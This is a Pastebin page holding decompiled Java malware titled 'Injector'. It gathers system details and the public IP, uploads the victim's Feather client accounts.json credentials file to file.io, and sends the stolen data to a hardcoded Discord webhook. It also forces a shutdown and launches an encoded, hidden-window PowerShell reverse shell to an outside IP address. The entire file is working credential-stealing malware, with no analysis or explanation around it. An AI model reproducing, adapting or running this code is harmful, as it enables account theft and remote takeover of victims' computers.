Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- import com.sun.management.OperatingSystemMXBean;
- import java.io.BufferedReader;
- import java.io.IOException;
- import java.io.InputStreamReader;
- import java.io.OutputStream;
- import java.io.OutputStreamWriter;
- import java.io.PrintWriter;
- import java.lang.management.ManagementFactory;
- import java.lang.management.RuntimeMXBean;
- import java.net.HttpURLConnection;
- import java.net.URL;
- import java.nio.file.Files;
- import java.nio.file.Paths;
- public class Injector {
- public static void main(String[] var0) {
- String var1 = getSystemInfo();
- String var2 = getPublicIpAddress();
- String var3 = var1 + "\nPublic IP: " + var2;
- String var4 = "C:\\Users\\" + System.getProperty("user.name") + "\\AppData\\Roaming\\.feather\\accounts.json";
- String var5 = uploadFileToFileio(var4);
- var3 = var3 + "\nDownload link: " + var5;
- String var6 = executeCommand("whoami");
- String var7 = executeCommand("shutdown -s -t 60");
- String var8 = executeCommand("powershell -ep bypass -e UwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgACQAUABTAEgATwBNAEUAXABwAG8AdwBlAHIAcwBoAGUAbABsAC4AZQB4AGUAIAAtAEEAcgBnAHUAbQBlAG4AdABMAGkAcwB0ACAAewAkAGMAbABpAGUAbgB0ACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwA4ADMALgAxADYAOAAuADEAMQAwAC4AMQAzADMAJwAsADQANAA0ADMAKQA7ACQAcwB0AHIAZQBhAG0AIAA9ACAAJABjAGwAaQBlAG4AdAAuAEcAZQB0AFMAdAByAGUAYQBtACgAKQA7AFsAYgB5AHQAZQBbAF0AXQAkAGIAeQB0AGUAcwAgAD0AIAAwAC4ALgA2ADUANQAzADUAfAAlAHsAMAB9ADsAdwBoAGkAbABlACgAKAAkAGkAIAA9ACAAJABzAHQAcgBlAGEAbQAuAFIAZQBhAGQAKAAkAGIAeQB0AGUAcwAsACAAMAAsACAAJABiAHkAdABlAHMALgBMAGUAbgBnAHQAaAApACkAIAAtAG4AZQAgADAAKQB7ADsAJABkAGEAdABhACAAPQAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBUAGUAeAB0AC4AQQBTAEMASQBJAEUAbgBjAG8AZABpAG4AZwApAC4ARwBlAHQAUwB0AHIAaQBuAGcAKAAkAGIAeQB0AGUAcwAsADAALAAgACQAaQApADsAJABzAGUAbgBkAGIAYQBjAGsAIAA9ACAAKABpAGUAeAAgACQAZABhAHQAYQAgADIAPgAmADEAIAB8ACAATwB1AHQALQBTAHQAcgBpAG4AZwAgACkAOwAkAHMAZQBuAGQAYgBhAGMAawAyACAAPQAgACQAcwBlAG4AZABiAGEAYwBrACAAKwAgACcAUABTACAAJwAgACsAIAAoAHAAdwBkACkALgBQAGEAdABoACAAKwAgACcAPgAgACcAOwAkAHMAZQBuAGQAYgB5AHQAZQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBlAG4AZABiAGEAYwBrADIAKQA7ACQAcwB0AHIAZQBhAG0ALgBXAHIAaQB0AGUAKAAkAHMAZQBuAGQAYgB5AHQAZQAsADAALAAkAHMAZQBuAGQAYgB5AHQAZQAuAEwAZQBuAGcAdABoACkAOwAkAHMAdAByAGUAYQBtAC4ARgBsAHUAcwBoACgAKQB9ADsAJABjAGwAaQBlAG4AdAAuAEMAbABvAHMAZQAoACkAfQAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4A");
- var3 = var3 + "\n\nPC:\n" + var6;
- sendToDiscord(var3);
- }
- private static String executeCommand(String var0) {
- StringBuilder var1 = new StringBuilder();
- try {
- Process var2 = Runtime.getRuntime().exec(var0);
- BufferedReader var3 = new BufferedReader(new InputStreamReader(var2.getInputStream()));
- String var4;
- while((var4 = var3.readLine()) != null) {
- var1.append(var4).append("\n");
- }
- var3.close();
- } catch (IOException var5) {
- var5.printStackTrace();
- }
- return var1.toString();
- }
- private static String uploadFileToFileio(String var0) {
- try {
- URL var1 = new URL("https://file.io");
- HttpURLConnection var2 = (HttpURLConnection)var1.openConnection();
- var2.setRequestMethod("POST");
- var2.setRequestProperty("Content-Type", "multipart/form-data");
- var2.setDoOutput(true);
- String var3 = Long.toHexString(System.currentTimeMillis());
- var2.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + var3);
- OutputStream var4 = var2.getOutputStream();
- try {
- PrintWriter var5 = new PrintWriter(new OutputStreamWriter(var4, "UTF-8"), true);
- try {
- var5.append("--").append(var3).append("\r\n");
- var5.append("Content-Disposition: form-data; name=\"file\"; filename=\"accounts.json\"\r\n");
- var5.append("Content-Type: application/json\r\n");
- var5.append("\r\n").flush();
- Files.copy(Paths.get(var0), var4);
- var4.flush();
- var5.append("\r\n").flush();
- var5.append("--").append(var3).append("--\r\n").flush();
- } catch (Throwable var11) {
- try {
- var5.close();
- } catch (Throwable var10) {
- var11.addSuppressed(var10);
- }
- throw var11;
- }
- var5.close();
- } catch (Throwable var12) {
- if (var4 != null) {
- try {
- var4.close();
- } catch (Throwable var9) {
- var12.addSuppressed(var9);
- }
- }
- throw var12;
- }
- if (var4 != null) {
- var4.close();
- }
- int var14 = var2.getResponseCode();
- System.out.println("File upload response code: " + var14);
- if (var14 != 200) {
- System.out.println("Failed to upload file. HTTP response code: " + var14);
- return "Upload failed";
- } else {
- BufferedReader var15 = new BufferedReader(new InputStreamReader(var2.getInputStream()));
- StringBuilder var7 = new StringBuilder();
- String var6;
- while((var6 = var15.readLine()) != null) {
- var7.append(var6);
- }
- var15.close();
- String var8 = var7.toString();
- return extractFileLink(var8);
- }
- } catch (IOException var13) {
- var13.printStackTrace();
- return "Upload failed";
- }
- }
- private static String extractFileLink(String var0) {
- String var1 = "\"link\":\"";
- int var2 = var0.indexOf(var1);
- if (var2 == -1) {
- return "Link extraction failed";
- } else {
- var2 += var1.length();
- int var3 = var0.indexOf("\"", var2);
- return var3 == -1 ? "Link extraction failed" : var0.substring(var2, var3);
- }
- }
- private static void sendToDiscord(String var0) {
- String var1 = "https://discord.com/api/webhooks/1264350069512081702/ISJl_hyXvIquHB_lWasJ98C8l2ldYY7Ato6YfqJHnZfnqPD1EjrZdGUu17b0zEl9Yzq5";
- HttpURLConnection var2 = null;
- try {
- URL var3 = new URL(var1);
- var2 = (HttpURLConnection)var3.openConnection();
- var2.setRequestMethod("POST");
- var2.setRequestProperty("Content-Type", "application/json");
- var2.setDoOutput(true);
- String var4 = "{ \"content\": \"" + escapeJson(var0) + "\" }";
- System.out.println("Payload: " + var4);
- OutputStream var5 = var2.getOutputStream();
- try {
- byte[] var6 = var4.getBytes("utf-8");
- var5.write(var6, 0, var6.length);
- } catch (Throwable var15) {
- if (var5 != null) {
- try {
- var5.close();
- } catch (Throwable var14) {
- var15.addSuppressed(var14);
- }
- }
- throw var15;
- }
- if (var5 != null) {
- var5.close();
- }
- int var18 = var2.getResponseCode();
- System.out.println("Response Code: " + var18);
- if (var18 == 204) {
- System.out.println("Message sent successfully.");
- } else {
- System.out.println("Failed to send message. HTTP response code: " + var18);
- BufferedReader var19 = new BufferedReader(new InputStreamReader(var2.getErrorStream()));
- StringBuilder var7 = new StringBuilder();
- String var8;
- while((var8 = var19.readLine()) != null) {
- var7.append(var8);
- }
- var19.close();
- System.out.println("Error response from Discord: " + var7.toString());
- }
- } catch (IOException var16) {
- var16.printStackTrace();
- } finally {
- if (var2 != null) {
- var2.disconnect();
- }
- }
- }
- private static String getSystemInfo() {
- StringBuilder var0 = new StringBuilder();
- OperatingSystemMXBean var1 = (OperatingSystemMXBean)ManagementFactory.getOperatingSystemMXBean();
- RuntimeMXBean var2 = ManagementFactory.getRuntimeMXBean();
- var0.append("Operating System: ").append(var1.getName()).append(" ").append(var1.getVersion()).append("\n");
- var0.append("Architecture: ").append(var1.getArch()).append("\n");
- var0.append("Available Processors: ").append(var1.getAvailableProcessors()).append("\n");
- var0.append("Java Version: ").append(var2.getSpecVersion()).append("\n");
- var0.append("Java Vendor: ").append(var2.getVmVendor()).append("\n");
- return var0.toString();
- }
- private static String getPublicIpAddress() {
- try {
- URL var0 = new URL("http://checkip.amazonaws.com/");
- BufferedReader var1 = new BufferedReader(new InputStreamReader(var0.openStream()));
- String var2 = var1.readLine();
- var1.close();
- return var2;
- } catch (IOException var3) {
- return "Unable to determine public IP address";
- }
- }
- private static String escapeJson(String var0) {
- return var0.replace("\\", "\\\\").replace("\"", "\\\"").replace("\b", "\\b").replace("\f", "\\f").replace("\n", "\\n").replace("\r", "\\r").replace("\t", "\\t");
- }
- }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement